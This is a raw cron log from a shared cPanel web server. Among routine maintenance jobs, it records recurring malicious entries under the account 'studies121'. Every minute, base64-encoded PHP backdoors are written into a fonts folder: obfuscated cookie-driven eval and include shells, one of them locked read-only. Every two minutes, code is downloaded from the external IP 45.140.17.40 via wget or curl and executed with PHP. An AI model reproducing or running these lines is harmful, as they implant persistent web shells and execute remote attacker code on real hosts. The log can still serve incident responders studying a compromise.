Sep 11 22:04:01 ip-184-168-122-23 CROND[10928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:04:01 ip-184-168-122-23 CROND[10929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:04:01 ip-184-168-122-23 CROND[10932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:04:01 ip-184-168-122-23 CROND[10931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:05:01 ip-184-168-122-23 CROND[11026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:05:01 ip-184-168-122-23 CROND[11029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:05:01 ip-184-168-122-23 CROND[11024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:05:01 ip-184-168-122-23 CROND[11023]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:05:01 ip-184-168-122-23 CROND[11025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:05:01 ip-184-168-122-23 CROND[11027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:05:01 ip-184-168-122-23 CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:06:02 ip-184-168-122-23 CROND[11133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:06:02 ip-184-168-122-23 CROND[11132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:06:02 ip-184-168-122-23 CROND[11136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:06:02 ip-184-168-122-23 CROND[11134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:06:02 ip-184-168-122-23 CROND[11135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:07:01 ip-184-168-122-23 CROND[11230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:07:01 ip-184-168-122-23 CROND[11231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:07:01 ip-184-168-122-23 CROND[11232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:07:01 ip-184-168-122-23 CROND[11233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:08:01 ip-184-168-122-23 CROND[11413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:08:01 ip-184-168-122-23 CROND[11415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:08:01 ip-184-168-122-23 CROND[11417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:08:01 ip-184-168-122-23 CROND[11418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:08:01 ip-184-168-122-23 CROND[11420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:09:02 ip-184-168-122-23 CROND[11510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:09:02 ip-184-168-122-23 CROND[11512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:09:02 ip-184-168-122-23 CROND[11511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:09:02 ip-184-168-122-23 CROND[11513]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 22:09:02 ip-184-168-122-23 CROND[11515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:10:02 ip-184-168-122-23 CROND[11608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:10:02 ip-184-168-122-23 CROND[11607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:10:02 ip-184-168-122-23 CROND[11612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:10:02 ip-184-168-122-23 CROND[11613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:10:02 ip-184-168-122-23 CROND[11610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:10:02 ip-184-168-122-23 CROND[11611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:10:02 ip-184-168-122-23 CROND[11617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:10:02 ip-184-168-122-23 CROND[11618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:11:01 ip-184-168-122-23 CROND[11718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:11:01 ip-184-168-122-23 CROND[11720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:11:01 ip-184-168-122-23 CROND[11721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:11:01 ip-184-168-122-23 CROND[11719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:12:01 ip-184-168-122-23 CROND[11818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:12:01 ip-184-168-122-23 CROND[11820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:12:01 ip-184-168-122-23 CROND[11822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:12:01 ip-184-168-122-23 CROND[11825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:12:01 ip-184-168-122-23 CROND[11824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:13:01 ip-184-168-122-23 CROND[11992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:13:01 ip-184-168-122-23 CROND[11994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:13:01 ip-184-168-122-23 CROND[11993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:13:01 ip-184-168-122-23 CROND[11995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:14:01 ip-184-168-122-23 CROND[12092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:14:01 ip-184-168-122-23 CROND[12094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:14:01 ip-184-168-122-23 CROND[12095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:14:01 ip-184-168-122-23 CROND[12096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:14:01 ip-184-168-122-23 CROND[12097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:15:01 ip-184-168-122-23 CROND[12199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:15:01 ip-184-168-122-23 CROND[12200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:15:01 ip-184-168-122-23 CROND[12202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:15:01 ip-184-168-122-23 CROND[12206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:15:01 ip-184-168-122-23 CROND[12205]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 22:15:01 ip-184-168-122-23 CROND[12204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:15:01 ip-184-168-122-23 CROND[12207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:16:01 ip-184-168-122-23 CROND[12300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:16:01 ip-184-168-122-23 CROND[12302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:16:01 ip-184-168-122-23 CROND[12306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
